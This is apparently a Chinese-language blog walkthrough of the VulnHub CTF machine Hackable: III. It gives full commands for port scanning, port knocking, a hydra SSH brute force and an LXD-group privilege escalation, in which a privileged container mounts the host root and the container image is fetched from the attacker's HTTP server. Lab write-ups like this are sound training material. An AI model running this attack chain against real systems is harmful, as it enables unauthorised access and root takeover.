Hackable: III
靶机描述
靶机地址:https://download.vulnhub.com/hackable/hackable3.ova
Description
Focus on general concepts about CTF
Difficulty: Medium
This works better with VirtualBox rather than VMware.
信息收集
nmap探测详细端口信息
nmap -sS -sV -A -p- 192.168.56.106
探测到了robots.txt
Web发现
查看页面源代码发现
发现了登录地址login_page/login.html
,还有一个用户名jubiscleudo
,还提示了端口敲门
端口敲门(端口碰撞)技术是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。
登录页面
查看下robots.txt
查看/config
有一个1.txt
base64解码得到:10000,应该是端口敲门的端口之一
目录扫描
dirsearch -u http://192.168.56.106/
访问一下http://192.168.56.106/backup/
发现一个密码本
访问css页面,发现里面有个2.txt文件
Brainfuck解码
访问登录页面http://192.168.56.106/login.php
,查看源码
访问一下3.jpg
图片隐写
看完了总结一下端口信息:4444
、10000
、65535
SSH登录
按照文件名的顺序进行端口敲门10000
、4444
、65535
knock 192.168.56.106 10000 4444 65535
nmap -A -p- 192.168.56.106
ssh打开后,用我们之前发现的用户名jubiscleudo,和发现的字典进行爆破
hydra -l jubiscleudo -P wordlist.txt 192.168.56.106 ssh
ssh登录
提权
查看下系统内的文件
逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php
,打开后得到hackable_3
密码
hackable_3/TrOLLED_3
切换用户
通过id命令可以看到该用户在lxd组中(lxd和docker一样,是一种容器)
参考:https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
由于靶机不出网,需要本地下载Alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
生成.tar.gz
文件,打开server服务,传输给目标机
python -m SimpleHTTPServer
目标机获取镜像,将其以镜像的形式添加进LXD
wget http://192.168.75.150:8000/alpine-v3.16-x86_64-20220920_2354.tar.gz
lxc image import ./alpine-v3.16-x86_64-20220920_2354.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称,--alias后的名称也可以自己定义
初始化Container,否则在加载容器时会显示没有存储池
lxd init
//一路回车
执行如下命令,成功提权
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
获取flag
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/18173087